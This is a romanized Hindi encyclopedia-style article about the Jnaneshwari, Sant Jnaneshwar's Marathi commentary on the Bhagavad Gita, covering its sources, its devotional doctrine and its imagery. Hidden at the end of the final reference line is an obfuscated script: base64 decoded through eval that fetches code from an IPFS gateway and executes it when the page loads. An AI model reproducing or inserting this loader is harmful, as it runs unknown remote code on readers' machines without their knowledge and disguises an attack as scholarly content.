ज्ञानेश्वरी
jnaneshvari marathi bhasha mean 'bhagavadgita' par likhi gee sarvapratham ovibaddh tika hai. vastut: yah kavyamay pravachan hai, jise sant jnaneshvar ne apane guru nivrittinath ke nidarshan mean any santoan ke samaksh kiya tha.
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rasapoorn vivechan
'jnaneshvari' mean 'gita' ke mool 700 shlokoan ka marathi bhasha ki 9000 oviyoan mean atyant rasapoorn vishad vivechan hai. aantar keval itana hi hai ki yah shankarachary ke saman 'gita' ka pratipad bhashy nahian hai. yatharth mean yah 'gita' ki bhavarthadipika hai. yah bhashy athava tika jnaneshvar ji ki svatantr buddhi ki den hai. mool 'gita' ki adhyayasangati aur shlokasangati ke vishay mean bhi kavi ki svayanprajna anek sthaloan par prakat huee hai. praranbhik adhyayoan ki tika sankshipt hai, parantu kramash: jnaneshvar ki pratibha prasphutit hoti gee hai.[1]
sarvashreshth sthan
gurubhakti, shrotaoan ki prarthana, marathi bhasha ka abhiman, gita ka stavan, shrikrishna aur arjun ka akritrim sneh ityadi vishayoan ne jnaneshvar ko vishesh roop se mugdh kar liya hai. inaka vivechan karate samay jnaneshvar ki vani vastut: akshar sahity ke alankaroan se mandit ho gee hai. yah saty hai ki aj tak 'shrimadbhagavadagita' par sadhikar vani se kee kavy granth likhe ge. apane katipay gunoan ke karan unake nirmata apane-apane sthanoan par shreshth hi haian, tathapi d aau. ra. d. ranade ke samuchit shabdoan mean yah kahana hi hoga ki "vidvatta, kavita aur sadhuta in tin drishtiyoan se 'gita' ki sabhi tikaoan mean 'jnaneshvari' ka sthan sarvashreshth hai.
adhar
jnaneshvar ne apani tika shankarachary ke 'gitabhashy' ke adhar par likhi hai. jnanadev ke svayan nath sanpraday mean dikshit hane ke karan unake is granth mean ukt sanpraday ke yatr-tatr sanket milate haian. gita-bhashy mean varnit jnan evan bhakti ke samanvay ke sath nath sanpraday ke yog, svanubhav ityadi batoan ka jnanadev ke vivechan mean samavesh hua hai. inhoanne in mool siddhaantoan ko bhagavat sampraday ki sudridh pithika par pratishthit kiya hai. 'jnaneshvari' bhakti ras pradhan granth hai. eeshvar-prapti ka ekamev sadhan bhakti hi hai, yah isaka mahasiddhaant hai. jnanadev ki bhakti, poojan archana, vrat tatha niyamadi se bahy svaroop ki nahian apitu namasmaranadi sadhanoan vali aantar svaroop ki thi. nathapanth ka yogamarg jan sadharan ke liye sahaj sadhy n hone ke karan jnaneshvar ne use bhakti ka adhishthan dekar eeshvar bhakti roopi netroan se yukt kar diya.[1]
sphoortivad
bharatiy darshan ki vichar paranpara se jnaneshvar dvara pratipadit 'sphoortivad' ko mahatv ka sthan dena hoga, 'jnaneshvari' mean sphuranaroop se athava bijaroop se vyakt hone vala 'sphoortivad' jnaneshvar dvara unake 'amritanubhav' namak ek chhote granth mean vishad roop se pratipadit hai. is granth ke satavean adhyay mean jnanadev ne 'vishv ka hi nam chidvilas hai', yah siddhaant tark shuddh paddhati se pratipadit kiya hai.
alankar paksh
'jnaneshvari' ke alankar paksh ka avalokan karane par kavi ke pratibhasanpann hriday ke darshan hote haian. aisa pratit hota hai, mano ve upama aur roopak ke madhyam se hi bol rahe hoan. unaki is rachana mean malopama aur saangaroopak mukt hast se bikhere ge haian. visheshata yah hai ki ye sari upamaean aur roopak 'gita' tika se tadatmy pa ge haian. mayanadi, gurupooja, purush, prakriti, chitsoory adi unake marathi sahity mean hi nahian, apitu vishvavanॅmay mean alaukik mane ja sakate haian. ye hi ve roopak haian, jinamean kavy aur darshan ki dharaean ghul mil gee haian.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 jnaneshvari (hindi). . abhigaman tithi: 30 aprail, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>